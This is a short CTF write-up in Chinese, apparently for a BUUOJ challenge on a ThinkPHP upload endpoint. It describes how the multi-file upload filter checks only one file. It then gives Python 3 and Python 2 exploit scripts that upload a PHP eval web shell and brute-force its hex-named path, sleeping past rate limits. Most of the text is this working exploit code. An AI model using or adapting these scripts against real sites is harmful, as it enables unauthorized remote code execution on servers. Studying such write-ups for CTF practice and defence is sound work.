首先确认入口点把我折腾了好一会儿，最后才明白是单模块的ThinkPHP,入口点为/index.php/home/index/upload
经过分析，发现是多文件上传，过滤处理仅处理了一个文件，可以同时上传多个文件直接解出题目，其它文件我们可以用暴力的方法推断出文件路径，具体解题脚本如下
python3(未确认正确性):

import requests
import time
import json

url = "http://33553ba3-3ecf-4551-af99-378c3c2504a6.node3.buuoj.cn"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print(param)
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#规避过于频繁访问导致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print(path)
        print(r.text)
        break
    print(j, path, r.status_code)
    j -= 1

python2(用这个拿的flag):

import requests
import time
import json

url = "http://443e6467-a00e-47ec-b8cb-6af3da800131.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#规避过于频繁访问导致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print path
        print r.text
        break
    print j, path, r.status_code
    j -= 1